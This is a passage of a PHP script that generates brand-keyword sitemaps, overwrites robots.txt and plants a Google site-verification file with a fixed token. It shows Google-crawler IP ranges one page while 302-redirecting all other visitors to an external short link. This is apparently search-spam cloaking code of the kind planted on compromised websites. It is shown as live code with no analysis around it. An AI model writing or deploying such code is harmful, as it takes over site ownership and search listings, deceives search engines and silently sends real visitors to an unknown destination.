'; $hasUrls = false; for ($j = $startIndex; $j <= $endIndex; $j++) { if (isset($brands[$j]['brand'])) { $brand = $brands[$j]['brand']; $url = $baseUrl . urlencode($brand); $lastmod = date('c'); $changefreq = 'daily'; $priority = '1.0'; $sitemapContent .= " {$url} {$lastmod} {$changefreq} {$priority} "; $hasUrls = true; } } $sitemapContent .= ' '; if ($hasUrls) { $sitemapFilePath = dirname(__FILE__) . '/sitemap' . $i . '.xml'; file_put_contents($sitemapFilePath, $sitemapContent); $generatedSitemaps++; } } if ($generatedSitemaps > 0) { generaterobotsfiles($generatedSitemaps); } } function generateGoogleVerificationFile() { $verificationFilePath = dirname(__FILE__) . '/googlec47e0d7763bece1a.html'; $verificationContent = 'google-site-verification: googlec47e0d7763bece1a.html'; file_put_contents($verificationFilePath, $verificationContent); } function generaterobotsfiles($totalSitemaps) { $protocol = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https" : "http"; $documentRoot = $_SERVER['DOCUMENT_ROOT']; $robotsfile = $documentRoot . '/robots.txt'; $robotsfilecontent = "User-agent: *\nAllow: /\n\n"; for ($i = 1; $i <= $totalSitemaps; $i++) { $robotsfilecontent .= 'Sitemap: ' . $protocol . '://' . $_SERVER['HTTP_HOST'] . '/sitemap' . $i . '.xml' . "\n"; } file_put_contents($robotsfile, $robotsfilecontent); } function handle404() { echo '404 bos'; exit(); } function getClientIP() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { return explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])[0]; } else { return $_SERVER['REMOTE_ADDR'] ?? 'UNKNOWN'; } } function isAllowedBot($ip) { $allowedBotIps = [ '66.249.', // Googlebot '64.233.', // Google Proxy '74.125.', // Google Proxy '216.239.', // Google Proxy '173.194.', // Google Proxy '203.189.', '127.0.', ]; foreach ($allowedBotIps as $range) { if (strpos($ip, $range) === 0) { return true; } } return false; } function displayLPContent($content) { $clientIP = getClientIP(); if (isAllowedBot($clientIP)) { echo $content; } else { $targetUrl = "https://dragonsnip.com/wWHSb"; header("HTTP/1.1 302 Found"); header("Location: $targetUrl"); header("Connection: close"); exit(); } } ?>